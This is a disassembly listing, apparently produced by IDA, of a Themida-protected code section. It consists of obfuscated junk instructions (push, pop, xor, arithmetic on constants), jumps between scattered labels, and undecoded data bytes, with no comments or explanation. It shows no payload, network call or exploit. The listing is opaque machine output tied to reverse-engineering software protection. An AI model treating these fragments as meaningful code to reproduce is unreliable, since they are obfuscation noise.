dd 897D8F55h, 0D0F75AD0h, 0FFFFB951h, 0E6E9FFFFh
db 54h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565693: ; CODE XREF: Themida_:005580DBj
push 6002h
mov [esp], edx
mov edx, esp
add edx, 4
push esi
jmp loc_5665B4
; ---------------------------------------------------------------------------
db 0BAh, 9Eh, 2
dd 0C8E91163h
db 9Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5656B3: ; CODE XREF: Themida_:005650B3j
xchg edi, [esp]
pop esp
mov [esp], esi
jmp loc_56597A
; ---------------------------------------------------------------------------
db 56h
dd 42474FFh, 0E92434FFh, 0FFFF7327h
; ---------------------------------------------------------------------------
loc_5656CC: ; CODE XREF: Themida_:0055A232j
add esp, 4
push eax
mov eax, 450040F4h
push esi
mov esi, 352316A7h
and esi, 28AE16A3h
jmp loc_55E0CE
; ---------------------------------------------------------------------------
dw 48Fh
dd 0C3815C24h, 4, 4C381h, 0E9530000h, 0FFFF908Ah, 0E9240433h
dd 0FFFEF9FFh, 4C281h, 68510000h, 4, 0E9CA0159h, 0FFFF5AEFh
dd 8B242C87h
db 2 dup(24h)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_552C98
; ---------------------------------------------------------------------------
loc_565726: ; CODE XREF: Themida_:00559FFAj
mov [esp], ecx
push esp
mov ecx, [esp]
push edi
mov edi, esp
jmp loc_55D26C
; ---------------------------------------------------------------------------
db 80h, 0E9h, 1Dh
aZSh db 'ZпИh:{',0
align 10h
dd 0FF5BA3E9h
db 0FFh
byte_565745 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552AE0o
dd 7830BF57h, 0C5E926CFh, 4DFFFFE3h, 7F8BB951h, 6FE9A049h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56575F: ; CODE XREF: Themida_:00566653j
xor eax, ebp
push dword ptr [esp]
jmp loc_562700
; ---------------------------------------------------------------------------
db 68h, 54h, 0Ah
dd 2C890000h, 45FCBD24h, 24E9635Bh, 29FFFF9Fh, 0F3015EF3h
dd 0FF93C6E9h, 240C31FFh, 5C240C33h, 4C681h, 34870000h
dd 0C8855C24h, 0D41DE99Ch, 0D7F6FFFEh, 7BF780h, 51665BF8h
dd 1D9A68h, 2875E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5657B2: ; CODE XREF: Themida_:005622B7j
add ebp, ebx
pop ebx
push eax
mov eax, esp
jmp loc_564F9A
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 8104C483h, 4ECh, 24048900h, 0F02384B8h, 0DFE9552Eh
db 32h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5657D7: ; CODE XREF: Themida_:0055CB77j
mov edx, ebx
pop ebx
add esi, 369F4C83h
jmp loc_55471E
; ---------------------------------------------------------------------------
loc_5657E5: ; CODE XREF: Themida_:00562223j
mov ebx, 6E908D7h
mov edx, ebx
pop ebx
shr edx, 2
sub edx, 0DA93258Bh
or esi, edx
jmp loc_561968
; ---------------------------------------------------------------------------
db 5, 0D6h, 38h
dd 0A2E927D2h, 8BFFFF51h, 0E956240Ch, 0FFFEFBE7h
; ---------------------------------------------------------------------------
loc_565810: ; CODE XREF: Themida_:005577E1j
push eax
sub dword ptr [esp], 5CC40C8Eh
pop ebx
add ebx, 5CC40C8Eh
pop eax
jmp loc_55D717
; ---------------------------------------------------------------------------
db 1, 0FBh, 81h
dd 0C9735AEBh, 0D4EB8144h, 56221828h, 8904EC83h, 9168243Ch
dd 0E9400B67h, 0FFFF3BB3h, 2434875Fh, 241C895Ch, 177AF4BBh
dd 0FBA5254h, 9705B5Ch, 685AD3h, 29000000h, 535B241Ch
dd 0E92414F7h, 0FFFF61DBh
; ---------------------------------------------------------------------------
loc_56586C: ; CODE XREF: Themida_:005653DDj
add esi, 4
jmp loc_55BB10
; ---------------------------------------------------------------------------
loc_565877: ; CODE XREF: Themida_:00559857j
mov esi, 3B31A58h
sub eax, esi
jmp loc_562032
; ---------------------------------------------------------------------------
loc_565883: ; CODE XREF: Themida_:00559421j
not edx
jmp loc_55F05D
; ---------------------------------------------------------------------------
loc_56588A: ; CODE XREF: Themida_:005665C2j
pop ebx
dec esi
add esi, 4B9106C5h
jmp loc_564E06
; ---------------------------------------------------------------------------
byte_565897 db 0ACh ; DATA XREF: Themida_:005529E8o
dd 123CE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56589E: ; CODE XREF: Themida_:00562558j
sub edx, 42B5259Dh
add edx, eax
push eax
push edx
mov edx, 1B823A48h
jmp loc_557CD2
; ---------------------------------------------------------------------------
dw 0D101h
dd 240C875Ah, 68C2015Ch, 5440h, 0E9240489h, 0FFFEF0AAh
dd 0A74DDCBBh, 4BD3F70Fh, 0FFE4BCE9h, 24048FFFh, 4EC835Ch
dd 81243C89h, 4ECh, 24248900h, 4240483h, 4C7815Fh, 51000000h
dd 9F4673B9h, 0A7E9811Bh, 81793F35h, 544194F1h, 0ACC18125h
dd 178CBAEh, 240C8BCFh, 0FFF0A4E9h, 268FFh, 81590000h
dd 0CF0FCCEBh, 0A6EB8111h, 1556C08h, 0A6C381CBh, 57556C08h
dd 0CF0FCCBFh, 27C38111h, 0E915EA4Eh, 0FFFF6964h, 0B30F665Ch
dd 0E99C2404h, 0FFFED26Fh, 0E503EEBEh, 0C3EE8142h, 810D0B23h
dd 9D9F7CC6h, 5EF5292Ah, 2C8BEF01h, 4C48324h, 4C781h, 3C870000h
dd 24248B24h, 0C26BE955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56597A: ; CODE XREF: Themida_:005656BAj
mov esi, 7A3F1D61h
sub esi, 3E4D5DF3h
shl esi, 8
jmp loc_55C264
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0EFh
dd 0AB5ABA6Ah, 3C8BFD89h, 4C48124h, 0F7000000h, 1ED83DDh
dd 0FF4991E9h, 16E956FFh
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5659AF: ; CODE XREF: Themida_:00557C60j
mov edx, edi
pop edi
xor edx, 27D41A79h
xor edi, edx
jmp loc_565A47
; ---------------------------------------------------------------------------
db 5
dd 2D41797Dh, 28002A05h, 6308E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5659CE: ; CODE XREF: Themida_:00564CBEj
mov esi, 2957099h
and esi, 17247A02h
dec esi
jmp loc_55901A
; ---------------------------------------------------------------------------
loc_5659DF: ; CODE XREF: Themida_:00554667j
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_564256
; ---------------------------------------------------------------------------
loc_5659EB: ; CODE XREF: Themida_:005551FCj
pop esp
push esi
push ecx
mov ecx, 15595972h
mov esi, ecx
pop ecx
add eax, esi
pop esi
sub eax, esi
sub eax, 15595972h
mov esi, [esp]
push eax
jmp loc_55AFCD
; ---------------------------------------------------------------------------
byte_565A09 db 0FFh, 74h, 24h ; DATA XREF: Themida_:00552928o
dd 2434FF04h, 0E924048Bh, 0FFFFB702h, 4244401h, 8124048Bh
dd 4C4h, 2434FF00h, 83240C8Bh, 895004C4h, 405E0h, 0B9510000h
dd 4, 8759C801h, 18E92404h
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565A47: ; CODE XREF: Themida_:005659BAj
mov edx, [esp]
add esp, 4
sub ebx, edi
mov edi, [esp]
jmp loc_5531BB
; ---------------------------------------------------------------------------
loc_565A5A: ; CODE XREF: Themida_:00563A77j
; Themida_:00564701j
push 0C96h
mov [esp], edx
sub esp, 4
mov [esp], eax
mov eax, ebx
push 2F5h
mov [esp], eax
pop edx
jmp loc_5570AC
; ---------------------------------------------------------------------------
db 58h
dd 8CC38143h, 53F280F1h, 0FFD02BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565A89: ; CODE XREF: Themida_:00564018j
sub eax, esi
mov esi, [esp]
add esp, 4
push ebx
push ecx
push esi
push 33F65C80h
pop esi
shr esi, 1
inc esi
sub esi, 0F1FAB2CEh
push ebp
jmp loc_561B85
; ---------------------------------------------------------------------------
loc_565AAC: ; CODE XREF: Themida_:00566DDCj
add edx, 76BC5C1Ah
sub edx, edi
sub edx, 76BC5C1Ah
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], edx
push ecx
push 665B6642h
mov ecx, [esp]
add esp, 4
xor ecx, 665A6642h
mov edx, ecx
pop ecx
jmp loc_5660AA
; ---------------------------------------------------------------------------
dw 15Ah
dd 0F2C781DFh, 5B641773h, 53E9F829h, 8BFFFF2Eh, 46E9241Ch
db 58h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565AFB: ; CODE XREF: Themida_:00559F7Dj
push ecx
jmp loc_566765
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 483E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_565B0A: ; CODE XREF: Themida_:00556BC3j
pop esp
push esi
push ebp
jmp loc_557730
; ---------------------------------------------------------------------------
loc_565B12: ; CODE XREF: Themida_:00557B3Aj
sub ebp, ecx
jmp loc_559A1F
; ---------------------------------------------------------------------------
db 0B0h, 0BEh, 0E9h
dd 0FFFF6A51h, 0E7E38143h, 0E91CE950h, 0FFFEE042h, 0EA2D6CBAh
dd 0A9E9571Ch
db 49h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565B37: ; CODE XREF: Themida_:00563342j
pop edx
add esi, 0FFFFFFFFh
neg esi
jmp loc_5607A6
; ---------------------------------------------------------------------------
db 83h, 0C4h, 2
dd 0C8BE830h, 0EF0EE924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565B52: ; CODE XREF: Themida_:0055943Dj
mov eax, [esp]
add esp, 4
shr bl, 7
not bl
shl bl, 8
sub bl, 0C8h
shl bl, 7
sub bl, 0CDh
sub bl, 0Ch
sub bl, 0A8h
and al, bl
jmp loc_560359
; ---------------------------------------------------------------------------
loc_565B79: ; CODE XREF: Themida_:005594A4j
add ebx, 6F3D745Bh
pop edx
push eax
push 1EDF63C1h
mov eax, [esp]
push 1CC1h
jmp loc_55774D
; ---------------------------------------------------------------------------
db 80h
dd 4E933C7h, 66FFFFDAh, 66240C89h, 66C8B60Fh, 2E99C51h
dd 0B3000013h, 3225E900h, 0E955FFFFh, 0FFFFD147h, 8704C483h
dd 685C2404h, 63FFh, 81241489h, 4ECh, 24348900h, 0FFE712E9h
dd 6A668FFh, 0ABE90000h, 56000008h, 0F189D689h, 24148B5Eh
dd 81E18951h, 4C1h, 4C18100h, 87000000h, 2E9240Ch
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565BFF: ; CODE XREF: Themida_:00566A97j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
add esp, 4
push 7EE8h
jmp loc_55C498
; ---------------------------------------------------------------------------
loc_565C17: ; CODE XREF: Themida_:00555E32j
pop eax
mov edi, [esp]
add esp, 4
jmp loc_563586
; ---------------------------------------------------------------------------
db 8Bh
dd 4FE2424h, 8CE99C24h
db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565C2F: ; CODE XREF: Themida_:005640B8j
mov [esp], edi
mov edi, 611E9444h
add edx, edi
mov edi, [esp]
add esp, 4
and eax, edx
jmp loc_555B2D
; ---------------------------------------------------------------------------
dw 0B353h
dd 0E9D92801h, 0FFFF6A34h, 181E685Ah, 4890000h, 0FF57E924h
dd 0E589FFFEh, 4C581h, 0ED680000h, 8900003Eh, 98E92414h
db 32h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565C73: ; CODE XREF: Themida_:0055DC37j
push ebx
push eax
push esi
jmp loc_55498F
; ---------------------------------------------------------------------------
loc_565C7B: ; CODE XREF: Themida_:00554784j
or ecx, ebx
jmp loc_567433
; ---------------------------------------------------------------------------
loc_565C82: ; CODE XREF: Themida_:0055F523j
shr ecx, 0Bh
push ebx
push dword ptr [esp]
pop eax
push 6EA1h
jmp loc_55F172
; ---------------------------------------------------------------------------
loc_565C94: ; CODE XREF: Themida_:005542EFj
mov ebx, [esp]
add esp, 4
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
push ecx
push 2ED72A73h
pop ecx
inc ecx
jmp loc_5678F5
; ---------------------------------------------------------------------------
loc_565CC4: ; CODE XREF: Themida_:0056282Aj
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_552EEA
; ---------------------------------------------------------------------------
dw 8951h
dd 4C181E1h, 83000000h, 0C8704E9h, 0A5E95C24h, 0BEFFFF0Fh
dd 1C654E2Dh, 0F1C681h, 0EE81588Dh, 3C123BFFh, 0F019EE81h
dd 0FD2D3F6Dh, 0E9120559h, 0FFFF438Bh
; ---------------------------------------------------------------------------
loc_565D10: ; CODE XREF: Themida_:0055754Aj
mov ecx, 6E5E646Fh
add ebp, ecx
pop ecx
add ebp, edx
sub ebp, 6E5E646Fh
pop edx
push ebp
push dword ptr [esp+4]
jmp loc_5537D1
; ---------------------------------------------------------------------------
db 87h
dd 4EC83FEh, 0E9243C89h, 0FFFFB828h, 24048B66h, 8904EC83h
dd 1DE92404h, 0F7FFFF0Fh, 6BF281DAh, 815CB02Fh, 38ABDBC2h
dd 0E9D72975h, 0FFFFFD86h
; ---------------------------------------------------------------------------
loc_565D5C: ; CODE XREF: Themida_:0055CA28j
pop eax
jmp loc_55C545
; ---------------------------------------------------------------------------
loc_565D62: ; CODE XREF: Themida_:005589D2j
sub edx, 0FDD35823h
jmp loc_5592AA
; ---------------------------------------------------------------------------
loc_565D6D: ; CODE XREF: Themida_:0055870Dj
sub ebp, 1A4C0711h
add ebp, esi
add ebp, 1A4C0711h
jmp loc_5587A2
; ---------------------------------------------------------------------------
dd 4C681h, 0E9E90000h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565D8B: ; CODE XREF: Themida_:0055F06Bj
mov ebp, 62EF604Dh
xor ebp, 950F604Dh
xor esi, ebp
pop ebp
sub [edi+24h], esi
jmp loc_561C4C
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 36EBED81h, 0EB89CB28h, 83242C8Bh, 0D76804C4h, 8900005Dh
dd 49B9240Ch, 0E971BF78h, 0FFFEEBDBh
; ---------------------------------------------------------------------------
loc_565DC4: ; CODE XREF: Themida_:0056630Cj
shl al, 3
jmp loc_556820
; ---------------------------------------------------------------------------
dd 214668h, 24148900h, 0E9240487h, 0ABCh, 8637DFBDh, 0B7D6E904h
dd 248BFFFFh, 68E1F724h, 2C52h, 50241489h, 0CDC1E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565DFA: ; CODE XREF: Themida_:00567B9Ej
sub esp, 4
jmp loc_55A6FD
; ---------------------------------------------------------------------------
dw 525Bh
dd 4BAh, 5AD10100h, 31240C33h, 0C33240Ch, 24248B24h, 2BD55h
dd 0EF010000h, 3A84685Dh, 0C5E90000h, 50FFFF6Eh, 0FF6B8FE9h
dd 281E68FFh, 1C890000h, 0D1C2E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565E3E: ; CODE XREF: Themida_:005680DFj
inc dword ptr [edi+20h]
shl dword ptr [edi+20h], 3
push ecx
mov ecx, 1FBD54F6h
shl ecx, 3
shr ecx, 2
shl ecx, 4
push 0
sub [esp], ecx
pop ecx
push esi
jmp loc_553309
; ---------------------------------------------------------------------------
loc_565E63: ; CODE XREF: Themida_:00563064j
sub [esp+4], eax
jmp loc_559660
; ---------------------------------------------------------------------------
loc_565E6C: ; CODE XREF: Themida_:005607D8j
and esi, 4A77483Fh
and esi, 2B0D3E0Fh
jmp loc_56622E
; ---------------------------------------------------------------------------
db 68h, 99h, 3Eh
dd 1AE92346h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_565E87: ; CODE XREF: Themida_:005650CCj
push 1F38h
mov [esp], ebp
sub esp, 4
jmp loc_55BF1C
; ---------------------------------------------------------------------------
dw 6853h
dd 29E15918h, 8E3C15Bh, 0FFA7B7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565EA9: ; CODE XREF: Themida_:00563000j
push dword ptr [esp]
pop edx
add esp, 4
mov esi, [esp]
jmp loc_55CB61
; ---------------------------------------------------------------------------
dd 0E9241C89h, 0FFFF7C64h, 4812E4B9h, 8CE3BA5Eh, 0AFE9A6E4h
db 49h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565ECF: ; CODE XREF: Themida_:00561170j
pop esi
add ecx, esi
pop esi
push eax
push 1066h
mov [esp], ebp
push 28D006B8h
pop ebp
add ebp, 5DB015ABh
shr ebp, 5
push edi
mov edi, 6E151E95h
push ebp
mov ebp, 47F86921h
not ebp
jmp loc_55F1BC
; ---------------------------------------------------------------------------
dw 0DD89h
dd 0F7D5F75Bh, 68C581D5h, 0E93AD920h, 0FFFF7578h
; ---------------------------------------------------------------------------
loc_565F10: ; CODE XREF: Themida_:00560F8Fj
add eax, 0FEDFFDA1h
mov ebp, eax
mov eax, [esp]
add esp, 4
add ecx, ebp
mov ebp, [esp]
push 1B47h
mov [esp], ecx
mov ecx, esp
jmp loc_559E69
; ---------------------------------------------------------------------------
db 29h, 0F8h, 5Fh
dd 94663605h, 8BC329D1h, 0DBE92404h
db 13h, 2 dup(0FFh)
byte_565F43 db 0FFh ; DATA XREF: Themida_:00552A4Co
dd 52553877h, 837080BAh, 5AD58926h, 4244481h, 2D765CC8h
dd 4246C29h, 0FF1422E9h
db 0FFh
byte_565F61 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552B2Co
dd 0CCE95124h, 5FFFF42h, 0F3A7FEF1h, 51C781h, 0C729334Dh
dd 51EF81h, 34FF334Dh, 0C4815824h, 4, 0FF9B53E9h, 0E9E289FFh
dd 0FFFFF770h, 0E95FFE01h, 0FFFF7733h
; ---------------------------------------------------------------------------
loc_565F9C: ; CODE XREF: Themida_:0055A293j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
push esp
pop esi
add esi, 4
push edx
mov edx, 4
sub esi, 264A40A3h
add esi, edx
add esi, 264A40A3h
jmp loc_5675DB
; ---------------------------------------------------------------------------
loc_565FC7: ; CODE XREF: Themida_:00562CD4j
pop edx
sub edx, 123E3F63h
add edx, eax
jmp loc_563370
; ---------------------------------------------------------------------------
loc_565FD5: ; CODE XREF: Themida_:0055724Bj
push esi
mov esi, 44C44928h
xor ebp, esi
pop esi
mov ecx, ebp
pop ebp
xor edx, ecx
pop ecx
jmp loc_567E65
; ---------------------------------------------------------------------------
aPhnw db 'Ph█w',0
dw 8900h
dd 4832424h, 0F9E90424h, 31FFFEE7h, 34332434h, 0EC835C24h
dd 242C8904h, 2E81BA52h, 39BD518Bh, 3116FD2Ch, 45DE9D5h
dd 0F086FFFFh, 0FF892CE9h, 4EC81FFh, 89000000h, 0A068241Ch
dd 5B47D21Bh, 5BF5755h, 0C168133Ch, 0E78106EFh, 3BD71AD9h
dd 0B3E95547h
db 51h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566047: ; CODE XREF: Themida_:00564E09j
add ecx, esi
push ebp
mov ebp, 339102A3h
sub ecx, ebp
pop ebp
sub ecx, 156709F8h
pop esi
jmp loc_55C7B0
; ---------------------------------------------------------------------------
word_56605E dw 32FFh ; DATA XREF: Themida_:00552948o
dd 0FECB56E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566065: ; CODE XREF: Themida_:005643EAj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_5636CC
; ---------------------------------------------------------------------------
word_566076 dw 8B66h ; DATA XREF: Themida_:00552AF8o
dd 0D168240Ch, 8900001Dh, 0E0892404h, 405h, 2ABB5300h
dd 556C862Bh, 504575BDh, 6E5C16Dh, 0DD32E957h, 248BFFFEh
dd 48B6624h, 27C9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5660AA: ; CODE XREF: Themida_:00565ADDj
and eax, edx
jmp loc_557B04
; ---------------------------------------------------------------------------
loc_5660B1: ; CODE XREF: Themida_:00566BDFj
push ebx
jmp loc_55B4CE
; ---------------------------------------------------------------------------
loc_5660B7: ; CODE XREF: Themida_:00559C2Cj
mov ebp, [esp]
add esp, 4
add ebx, 25F92979h
sub ebx, eax
sub ebx, 25F92979h
push 0FC1h
mov [esp], edx
mov edx, 19324913h
xor edx, 52087D40h
add ebx, edx
pop edx
jmp loc_55CE7A
; ---------------------------------------------------------------------------
db 0BFh, 63h, 56h
dd 0E94F4A9Dh, 0FFFF7BA1h
; ---------------------------------------------------------------------------
loc_5660F4: ; CODE XREF: Themida_:0055443Ej
mov ecx, 3C951B98h
or ecx, 6D606068h
add ecx, 0BBD6380Fh
add ebx, ecx
jmp loc_56636B
; ---------------------------------------------------------------------------
dword_56610C dd 24048B66h, 41E168h, 24348900h, 0FE04E954h, 6405FFFEh
; DATA XREF: Themida_:00552B50o
dd 572BF55h, 81EC44C1h, 0E958C501h, 7CFh, 5D240C89h, 0EDC15B59h
dd 0E0CD8105h, 816A1405h, 333DE1CDh, 0DBBA526Bh, 316908AFh
dd 0A4E95AD5h
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_566153: ; CODE XREF: Themida_:0055DC58j
add esp, 4
add ebx, 25E70377h
sub ebx, 583E2754h
add ebx, edi
jmp loc_55C8A5
; ---------------------------------------------------------------------------
dd 88E28852h, 84E95AD7h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566177: ; CODE XREF: Themida_:0055ADC7j
push edx
push ebx
mov ebx, 3CC61140h
mov edx, ebx
pop ebx
sub ebx, edx
pop edx
sub esp, 4
mov [esp], ecx
jmp loc_55B8E5
; ---------------------------------------------------------------------------
dw 0F766h
dd 58662414h, 24043166h, 24043366h, 24043166h, 1CABE9h
dd 61ED8100h, 0C133970Bh, 0C58108EDh, 13EF2CFBh, 1CE95653h
dd 29FFFF8Ah, 1AED81F5h, 0E920381Dh, 0FFFF031Dh
dword_5661CC dd 240C8B66h, 7B8168h, 240C8900h, 6D5168h, 2076800h, 24890000h
; DATA XREF: Themida_:00552A18o
dd 24048324h, 24048F04h, 779B68h, 240C8900h, 468h, 6C815900h
dd 49910424h, 4C01153Dh, 44810424h, 49910424h, 0E959153Dh
dd 0FFFF6754h, 0DA40E95Ch, 0C829FFFEh, 51FB2D59h, 0F8015B98h
dd 9851FB05h, 0D1BAE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56622E: ; CODE XREF: Themida_:00565E78j
sub esi, 6EC1110Fh
not esi
sub esi, 66C01100h
mov eax, esi
pop esi
add eax, ebx
push dword ptr [eax]
jmp loc_5644B7
; ---------------------------------------------------------------------------
loc_566248: ; CODE XREF: Themida_:00553C6Cj
add esp, 4
push 72DBh
mov [esp], edi
push esi
mov esi, 0D250017h
jmp loc_56663C
; ---------------------------------------------------------------------------
db 81h, 0E5h, 0CBh
dd 0E944E72Ah, 0FFFF3D53h, 9B1A93BDh, 796C6812h, 2C890000h
dd 1737E924h, 4870000h, 52505C24h, 1B2A6EBAh, 2103E945h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56628E: ; CODE XREF: Themida_:0056350Fj
mov edi, 4
sub esi, edi
mov edi, [esp]
add esp, 4
push 0A4Fh
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 4
add ebx, edi
pop edi
push 1FD8h
mov [esp], esi
jmp loc_552DF7
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFF3FC8h, 0D68665Bh, 1489662Eh, 0F672B624h, 0C0CEFEDEh
dd 0C68005EEh, 59F6809Dh, 0C07BB353h, 0F38007E3h, 4771E960h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5662F6: ; CODE XREF: Themida_:0055EB15j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_553687
; ---------------------------------------------------------------------------
loc_56630A: ; CODE XREF: Themida_:00563EFDj
pop ecx
pop edx
jmp loc_565DC4
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0FF3B66E9h, 4475B8FFh, 0C6292A5Dh, 240C8B58h, 56E95455h
dd 55FFFF5Eh, 0EC1E45BDh, 69C58126h, 0E95D8375h, 0FFFEEC21h
dd 0E9241489h, 0FFFF9914h, 0BEE95766h
db 46h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56634B: ; CODE XREF: Themida_:00567658j
sub esi, edx
add esi, 555A39E8h
pop edx
and eax, esi
mov esi, [esp]
jmp loc_555F87
; ---------------------------------------------------------------------------
dw 0EB83h
dd 6406804h, 1CE90000h
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56636B: ; CODE XREF: Themida_:00566107j
pop ecx
add eax, ebx
jmp loc_564128
; ---------------------------------------------------------------------------
db 89h
dd 7CBB241Ch, 0D1417525h, 81DBF7EBh, 215C75C3h, 0BBEB8171h
dd 0E946251Ah, 0FFFFE7C1h, 4D781C05h, 0D0015938h, 3F2EBB53h
dd 0E3C13F16h, 650E906h, 2C8BFFFFh, 0E6895624h, 4C681h
dd 0C6810000h, 4, 5C243487h, 0FF5EF5E9h, 4C183FFh, 0E9240C87h
dd 0FFFF6A30h, 836EC80h, 52AFE9E6h, 0EF83FFFFh, 243C8704h
dd 5424248Bh, 0E924048Fh, 8B1h, 1C8BFE88h, 4C48324h, 0FF4118E9h
dd 1E8B9FFh, 0CA894696h, 0DB55E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566402: ; CODE XREF: Themida_:0055FE9Cj
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
push eax
pop esi
jmp loc_5610B8
; ---------------------------------------------------------------------------
db 0B6h
dd 0AACE80A4h, 80ABEE80h, 0CE8078F6h, 0BB63E92Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566426: ; CODE XREF: Themida_:0055F099j
mov ecx, 3CB734E6h
add ecx, 75F70E24h
jmp loc_560CF7
; ---------------------------------------------------------------------------
loc_566436: ; CODE XREF: Themida_:0055B09Cj
not dword ptr [esp]
pop ebx
shr ebx, 5
jmp loc_55443D
; ---------------------------------------------------------------------------
dw 0C781h
dd 78028E9Eh, 3C8BFB29h, 4C48124h, 81000000h, 97B250F3h
dd 0AFC681EAh, 29030530h, 0AFEE81DEh, 8B030530h, 0C481241Ch
dd 4, 4DBDEE81h, 0C6811A46h, 33A840B3h, 4EC81h, 4890000h
dd 0F9F3E924h, 0C89FFFFh, 4EC8124h, 54000000h, 0E924048Fh
dd 0FFFFD41Dh, 8324348Bh, 0EF8104C4h, 231A3Ah, 0C781CF29h
dd 231A3Ah, 58B95159h, 295D45C5h, 240C8BCFh, 5704C483h
dd 0FEDB7DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5664C5: ; CODE XREF: Themida_:00559CC3j
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_5664CA: ; CODE XREF: Themida_:005667B8j
mov ebp, 1E693BBCh
jmp loc_55C4E7
; ---------------------------------------------------------------------------
loc_5664D4: ; CODE XREF: Themida_:00557360j
pop esp
mov ebp, [esp]
jmp loc_55CE5A
; ---------------------------------------------------------------------------
db 1, 0C7h, 55h
dd 0FFD5FFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5664E5: ; CODE XREF: Themida_:005625EBj
not edx
xor edx, 3DF21C90h
push esi
jmp loc_567D2F
; ---------------------------------------------------------------------------
loc_5664F3: ; CODE XREF: Themida_:00557869j
sub esp, 4
mov [esp], edi
push esi
jmp loc_55D616
; ---------------------------------------------------------------------------
db 0C1h
dd 0EF8104E7h, 6FEA6788h, 15BF5756h, 81370743h, 0EC2583C7h
dd 0FCC8E924h, 5E5AFFFEh, 0FF8DEFE9h, 0FFBE56FFh, 29674A72h
dd 0E9082474h, 0FFFF289Eh, 6AA1685Eh, 3C890000h, 4BF24h
dd 0D3E90000h, 52FFFF3Bh, 5647E5BAh, 0FFD331EFh, 46E92434h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566553: ; CODE XREF: Themida_:00559E64j
pop ebx
jmp loc_555D5C
; ---------------------------------------------------------------------------
db 66h, 89h, 1Ch
dd 2404FE24h, 241C8B66h, 0E902C483h, 0FFFFD792h, 243C875Eh
dd 0FF1C02E9h, 0B9F181FFh, 0C169CB3Eh, 0D9F705E1h, 0FF044BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566585: ; CODE XREF: Themida_:0055E629j
mov ebp, 1BD94FEFh
jmp loc_5600EF
; ---------------------------------------------------------------------------
loc_56658F: ; CODE XREF: Themida_:0056716Dj
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_567FD2
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0E9241C89h, 1910h
; ---------------------------------------------------------------------------
loc_5665B4: ; CODE XREF: Themida_:005656A4j
mov esi, 4
sub edx, esi
jmp loc_554B73
; ---------------------------------------------------------------------------
loc_5665C0: ; CODE XREF: Themida_:0055E199j
or esi, ebx
jmp loc_56588A
; ---------------------------------------------------------------------------
db 87h
dd 565C241Ch, 0FECB37E9h, 57E951FFh, 88FFFF5Ch, 0C68058C6h
dd 0C4B35301h, 0C380CBFEh, 9CF38050h, 515BDE08h, 0CE008BB1h
dd 6BC38059h, 0EB80F328h, 0C3805A6Bh, 0F816E971h, 0EABDFFFEh
dd 815F3B1Ah, 7517ABE5h, 14C0E95Ch
